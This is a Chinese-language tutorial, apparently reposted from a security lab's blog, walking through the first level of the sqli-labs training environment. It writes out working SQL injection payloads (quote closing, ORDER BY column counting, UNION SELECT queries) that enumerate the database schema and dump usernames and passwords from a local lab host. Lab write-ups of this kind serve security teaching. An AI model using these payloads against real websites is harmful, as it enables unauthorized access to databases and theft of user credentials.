sqli-labs教程第一章

admin 2022年9月27日09:00:39评论52 views字数 2298阅读7分39秒阅读模式

sqli-labs教程第一章




声明




本文作者:CloudStrife(玄螭安全实验室-核心成员)  

玄螭安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明,文章来源等全部内容。未经玄螭安全实验室允许,不得修改文章内容,不能以任何方式将其用于商业目的。



Sqli-labs教程第一章



本地部署好之后,打开地址,一共有四个部分,如图。

sqli-labs教程第一章

我们首先完成第一部分(Basic Challenges),下面有很多关卡,点击Less-1,进入第一关,如图。

sqli-labs教程第一章

题目的要求是输入ID作为带数值的参数,这里输入?id=1,显示name和password。如图。

sqli-labs教程第一章

可以尝试切换id的值,name和password的值也在随之变化。因为任何与数据库产生交互的地方,都可能存在注入。那么在url最后加入一个单引号。

http://192.168.85.137/sqli-labs-master/Less-1/?id=1'

页面显示语法错误,如图。

sqli-labs教程第一章

于是我们尝试url后面加个双引号,页面返回正常。

http://192.168.85.137/sqli-labs-master/Less-1/?id=1''

sqli-labs教程第一章

至此,我们猜测该SQL语句应该是:

select * from x where id = '$id' limit 0.1;

因为有单引号包裹,所以可以考虑将单引号闭合,再把后面语句注释掉,就可以执行我们想要的SQL语句了。例如可以这样。

http://192.168.85.137/sqli-labs-master/Less-1/?id=1' --+

该SQL语句则变为

select * from x where id = '1' --+ limit 0.1;

在Mysql中,--+是单行注释符

所以通过使用注释符,把后面语句注释掉,SQL语句只会执行前面的部分。

然后用order by 来判断当前表的字段数。order by x(x为数字),代表按表中第x个字段进行排序,假如表中有4个字段,那么order by 1,则利用第一个字段进行排序,如果order by 5,则会提示错误(因为第五个字段不存在),利用该特性,能判断表中的字段数。

http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 1--+   //页面正常

http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 2--+   //页面正常

http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 3--+   //页面正常

http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 4--+   //页面错误

根据结果,得出当前表一共是3个字段,使用联合查询,获取数据库中的数据。联合查询union select有个前提,必须知道当前表的字段数,所以在使用union select 联合查询时,前后两个select语句返回的字段数必须相同。那么SQL语句为。

http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+

sqli-labs教程第一章

获得数据库名为:security,再获取表名。

http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security' --+

#group_concat函数作用是将多条数据合并为一条

sqli-labs教程第一章

获得一共有四张表,分别是:emails、referers、uagents、users;然后现在获取users表中的字段。Sql语句:

http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

sqli-labs教程第一章

该语句查询数据库名为security,表名为users的字段,显示当前表一共有3个字段,分别是id、username、password

接着要查询username和password的值,使用的SQL语句:

http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),3 from security.users--+

http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(password),3 from security.users--+

sqli-labs教程第一章

sqli-labs教程第一章

获得了用户名和密码,这一关得到了最后的结果。最后,来看一下php源代码,Less-1第一关源代码如图。

sqli-labs教程第一章

猜测的SQL语句和我们想象的一样,代码中未对传入的id值进行处理,所以依靠刚才的SQL注入代码,得到了我们想要的结果,此关结束。


看完了右下角点个赞噢   更多安全资料等你拿

sqli-labs教程第一章

原文始发于微信公众号(玄螭安全实验室):sqli-labs教程第一章

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月27日09:00:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqli-labs教程第一章http://cn-sec.com/archives/1317788.html

发表评论

匿名网友 填写信息